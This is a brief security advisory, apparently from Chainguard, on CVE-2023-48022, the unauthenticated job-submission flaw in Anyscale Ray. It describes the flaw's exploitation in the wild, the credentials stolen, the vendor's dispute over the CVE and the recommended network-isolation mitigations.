CVE-2023-48022: 
Chainguard vulnerability analysis and mitigation

Anyscale Ray versions 2.6.3 and 2.8.0 contain a critical vulnerability (CVE-2023-48022) that allows remote attackers to execute arbitrary code via the job submission API. The vulnerability was discovered in August 2023 by Bishop Fox researchers and has been actively exploited since September 2023. Despite having a CVSS score of 9.8 (Critical), this vulnerability remains disputed as the vendor maintains that Ray is not intended for use outside of strictly controlled network environments (Bishop Fox, Help Net Security).

The vulnerability stems from Ray's lack of authentication requirements in its Jobs API, which allows unauthorized actors to freely submit jobs, delete existing jobs, retrieve sensitive information, and achieve remote command execution. The most direct exploitation method involves submitting arbitrary operating system commands through the job submission API using either raw HTTP requests or the Ray Jobs Python SDK. This can be done without authentication in the default configuration, accessible to any system with access to the Ray Dashboard on TCP port 8265 (Bishop Fox).

The vulnerability has led to the compromise of thousands of publicly exposed Ray servers worldwide. Attackers have gained access to sensitive information including OpenAI tokens, Stripe tokens, HuggingFace tokens, Slack tokens, production database credentials, and SSH keys. Additionally, compromised machines have been used for cryptocurrency mining operations and establishing permanent access through reverse shells. AI production workloads were also compromised, potentially affecting model integrity and training processes (Help Net Security).

Anyscale has decided not to ship an immediate fix, maintaining that Ray's interface should not be exposed on the internet and should only be accessible to trusted parties. They recommend deploying Ray clusters in isolated networks and controlling access using other mechanisms, such as SSH bastion hosts. If access to the Ray dashboard is required outside an isolated network, users should expose it via a reverse proxy service configured to require authentication (Bishop Fox, Ray Security Docs).

The security community has expressed concern about the disputed status of the vulnerability, particularly given its active exploitation. Oligo Security researchers have helped multiple companies mitigate unauthorized access to their clusters and have shared indicators of compromise. Anyscale has announced they are working on a script to help users verify their configuration and avoid accidental exposure (Help Net Security).